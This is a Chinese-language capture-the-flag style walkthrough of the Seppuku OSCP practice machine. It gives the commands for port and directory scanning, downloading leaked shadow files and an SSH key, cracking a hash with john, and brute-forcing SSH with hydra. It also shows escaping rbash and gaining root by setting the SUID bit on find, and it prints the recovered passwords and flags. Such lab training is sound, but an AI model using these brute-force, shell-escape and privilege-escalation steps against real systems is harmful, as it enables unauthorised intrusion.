OSCP系列靶场-Esay-Seppuku
字数 1750 2025-08-10 13:48:19
OSCP靶场渗透实战:Seppuku靶机攻防详解
靶机概述
Seppuku是一台难度为"Easy"的OSCP练习靶机,主要考察以下技术点:
- 目录扫描与敏感信息发现
- 密码字典利用与SSH爆破
- rbash受限shell逃逸
- 内网信息收集与权限提升
- SUID提权技术
环境准备
攻击机配置:
- IP地址:192.168.45.188
- 工具准备:nmap、hydra、dirsearch、wget、ssh等
靶机信息:
- IP地址:192.168.178.90
- 开放端口:21(FTP)、22(SSH)、80(HTTP)、139/445(SMB)、7080、7601(HTTP)、8088(HTTP)
信息收集阶段
端口扫描
使用nmap进行全端口扫描:
sudo nmap --min-rate 10000 -p- 192.168.178.90
开放端口详情:
- 21/tcp: vsftpd 3.0.3
- 22/tcp: OpenSSH 7.9p1
- 80/tcp: nginx 1.14.2
- 139/tcp: Samba smbd 3.X-4.X
- 445/tcp: Samba smbd 4.9.5-Debian
- 7080/tcp: empowerid(SSL)
- 7601/tcp: Apache httpd 2.4.38
- 8088/tcp: LiteSpeed httpd
服务探测
详细服务版本探测:
sudo nmap -sT -sV -O -sC -p21,22,80,139,445,7080,7601,8088 192.168.178.90
漏洞利用路径
1. HTTP服务探索
7601端口发现:
访问http://192.168.178.90:7601显示一张图片,通过curl获取隐藏信息:
curl http://192.168.178.90:7601
发现关键词"Seppuku",可能是用户名。
目录扫描:
dirsearch -u http://192.168.178.90:7601 -x 302,403
发现重要目录:
- /secret/ - 包含敏感文件
- /database/ - 空目录
- /ckeditor/ - 编辑器界面
敏感文件获取:
wget http://192.168.178.90:7601/secret/passwd.bak
wget http://192.168.178.90:7601/secret/shadow.bak
wget http://192.168.178.90:7601/secret/password.lst
wget http://192.168.178.90:7601/secret/hostname
关键发现:
- 用户名:rabbit-hole, seppuku
- rabbit-hole的加密密码:
$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt... - 密码字典文件password.lst
2. 密码破解
使用john破解shadow.bak:
echo '$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..' > pass.hash
john pass.hash
得到rabbit-hole密码:a1b2c3
3. SSH登录尝试
使用rabbit-hole登录:
ssh rabbit-hole@192.168.178.90
密码:a1b2c3
发现权限有限,无重要发现。
使用hydra爆破seppuku用户:
hydra -l seppuku -P password.lst -t 6 -vV 192.168.178.90 ssh -s 22
得到密码:eeyoree
4. 初始访问
登录seppuku用户:
ssh seppuku@192.168.178.90
密码:eeyoree
发现rbash受限shell。
rbash逃逸:
ssh seppuku@192.168.178.90 -p22 -t "bash --noprofile"
然后重置PATH:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
获取第一个flag:
cat /home/seppuku/local.txt
flag: 3dc090a738a7e01f80f592abe2a9e284
权限提升路径
1. 内网信息收集
系统信息:
lsb_release -a
# Debian GNU/Linux 10 (buster)
uname -a
# Linux seppuku 4.19.0-9-amd64
用户信息:
ls -al /home
# 发现用户:samurai, tanto
敏感文件发现:
cat /home/seppuku/.passwd
# 得到密码:12345685213456!@!@A
2. 用户切换
切换到samurai用户:
su samurai
密码:12345685213456!@!@A
检查sudo权限:
sudo -l
输出:
User samurai may run the following commands on seppuku:
(ALL) NOPASSWD: home/tanto/.cgi_bin/bin /tmp/*
3. tanto用户访问
通过目录扫描发现新的端点,下载获得SSH私钥:
wget http://192.168.178.90:7601/secret/private
使用私钥登录tanto:
chmod 600 private
ssh -i private tanto@192.168.178.90
rbash逃逸:
ssh -i private tanto@192.168.178.90 -p22 -t "bash --noprofile"
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
4. 提权准备
在tanto用户下创建提权文件:
mkdir -p /home/tanto/.cgi_bin
echo '#!/bin/sh
chmod +s /usr/bin/find' > /home/tanto/.cgi_bin/bin
chmod +x /home/tanto/.cgi_bin/bin
5. 最终提权
切换回samurai用户执行:
sudo home/tanto/.cgi_bin/bin /tmp/*
然后使用find提权:
find . -exec /bin/bash -p \; -quit
验证root权限:
id
# uid=1001(samurai) gid=1002(samurai) euid=0(root) egid=0(root) groups=0(root),1002(samurai)
获取root flag:
cat /root/proof.txt
flag: 4a24681381de4d623801b1e8cb243a64
技术要点总结
-
目录扫描重要性:
- 使用多个工具扫描(如dirsearch)
- 检查所有可能的端点,包括隐藏目录
-
密码安全:
- 系统备份文件(passwd.bak, shadow.bak)可能泄露用户信息
- 密码字典(password.lst)可用于爆破其他服务
-
受限shell逃逸:
- 使用
-t "bash --noprofile"绕过rbash限制 - 重置PATH环境变量恢复完整功能
- 使用
-
权限提升路径:
- 检查所有用户的sudo权限(sudo -l)
- 利用可写目录创建提权脚本
- SUID提权是Linux系统的常见突破口
-
信息关联:
- 将发现的密码尝试用于所有可能的服务
- 注意隐藏文件(如.passwd)可能包含关键信息
改进建议
- 使用多个目录扫描工具确保覆盖率
- 对发现的每个用户尝试密码复用
- 更系统地检查sudo权限和SUID文件
- 在内网信息收集中注意文件权限和隐藏目录
此靶机完整展示了从信息收集到最终提权的完整渗透流程,强调了细致枚举和关联分析的重要性。